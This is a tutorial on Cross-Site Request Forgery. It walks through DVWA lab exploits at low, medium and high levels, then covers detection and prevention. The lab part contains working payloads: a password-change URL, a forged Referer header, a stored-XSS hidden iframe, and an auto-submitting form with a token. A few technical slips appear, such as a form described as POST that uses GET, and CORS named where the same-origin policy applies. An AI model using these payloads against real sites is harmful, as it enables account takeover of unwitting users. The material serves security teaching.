Understanding CSRF: Cross-Site Request Forgery

CSRF (Cross-Site Request Forgery) is an attack that tricks an authenticated user into executing unintended actions on a web applicatino where they are logged in. By exploiting the user’s active session—typically stored in cookies—the attacker crafts a malicious request that appears legitimate to the server, enabling unauthorized operations such as password changes, fund transfers, or account modifications—all without the user’s knowledge.

How CSRF Works

1. A user logs into a trusted website (e.g., bank.example.com) and receives a session cookie.
2. Without logging out, the user visits a malicious site (e.g., evil-site.com).
3. The malicious site contains hidden HTML or JavaScript that automatically submits a request to the trusted site.
4. The browser, still holding the valid session cookie, sends the request with full authentication credentials.
5. The trusted site processes the request as if it originated from the user, executing the unintended action.

In essence: CSRF abuses the trust a website has in a user’s browser, not the user’s intent.

Common Exploitation Tools

Burp Suite OWASP ZAP CSRFTester CSRF Request Builder Acunetix, Netsparker

Lab Practice: DVWA CSRF Vulnerabilities

Level: Low

The password change endpoint accepts parameters via GET:

http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=admin123&password_conf=admin123&Change=Change

No token or referer validation exists. Simply hosting this URL on a malicious site and tricking a logged-in user into visiting it results in a successful password change.

Level: Medium

The application now checks the Referer header to ensure the request originates from its own domain:

if (stripos($_SERVER['HTTP_REFERER'], $_SERVER['SERVER_NAME']) !== false) {
    // Process request
} else {
    echo "That request didn't look correct.";
}

Bypass Strategy:
Manually modify the Referer header in a proxy tool like Burp Suite to match the target domain:

Referer: http://127.0.0.1/dvwa/vulnerabilities/csrf/

When the request is replayed with this header, the server accepts it, and the password is changed.

Level: High

A token-based defense is introduced. Each page load generates a unique, unpredictable user_token:

GET /dvwa/vulnerabilities/csrf/?password_new=test&password_conf=test&Change=Change&user_token=ce3a5ec7491742e4062f2f60a05a9c93

The token is embedded in the page source and must be included in the request. Since the token is dynamic and tied to the session, direct CSRF fails.

Bypass Method: XSS + CSRF Combo

1. Use the stored XSS vulnerability (/dvwa/vulnerabilities/xss_s/) to inject an iframe that loads the CSRF page:

   <iframe src="../csrf" style="display:none;"></iframe>
   
   

2. Once the iframe loads, extract the user_token value from the page source (via browser dev tools or automated script).

3. Construct a new POST request with the stolen token:

   <form id="csrfForm" action="http://127.0.0.1/dvwa/vulnerabilities/csrf/" method="GET">
     <input type="hidden" name="password_new" value="hacked123" />
     <input type="hidden" name="password_conf" value="hacked123" />
     <input type="hidden" name="Change" value="Change" />
     <input type="hidden" name="user_token" value="ce3a5ec7491742e4062f2f60a05a9c93" />
   </form>
   <script>document.getElementById('csrfForm').submit();</script>
   
   

4. When a victim visits the compromised page, the form auto-submits with the valid token, changing their password.

CSRF Detection Methodologies

Black Box Testing

• Identify state-changing endpoints (e.g., password reset, email change, delete account).
• Remove Referer header and token parameters from requests.
• If the action succeeds without these, CSRF is likely present.
• Use automated scanners (e.g., Burp’s CSRF Tester) to validate.

White Box Testing

• Search source code for:
  • Absence of anti-CSRF tokens (csrf_token, user_token, nonce)
  • Lack of Referer or Origin validation
  • Use of GET for sensitive operations
• Key phrases to search: token, verify_token, check_referer, sameorigin

Prevention Strategies

Use Synchronizer Tokens: Generate unique, per-session tokens bound to the user’s session and validate them server-side. Validate Origin/Referer Headers: Ensure requests originate from expected domains (but don’t rely on this alone). Use SameSite Cookie Attribute: Set SameSite=Strict or SameSite=Lax on session cookies to bllock cross-site requests. Require Re-authentication: For high-risk actions, prompt for password confirmation or 2FA. Avoid GET for State Changes: Use POST, PUT, or DELETE for any operation that modifies data.

Advanced Mitigation: Double Submit Cookie Pattern

• Store a random token in both a cookie and a hidden form field.
• On submission, compare the two values.
• Since attackers cannot read cookies across origins (due to CORS), they cannot forge the form field value.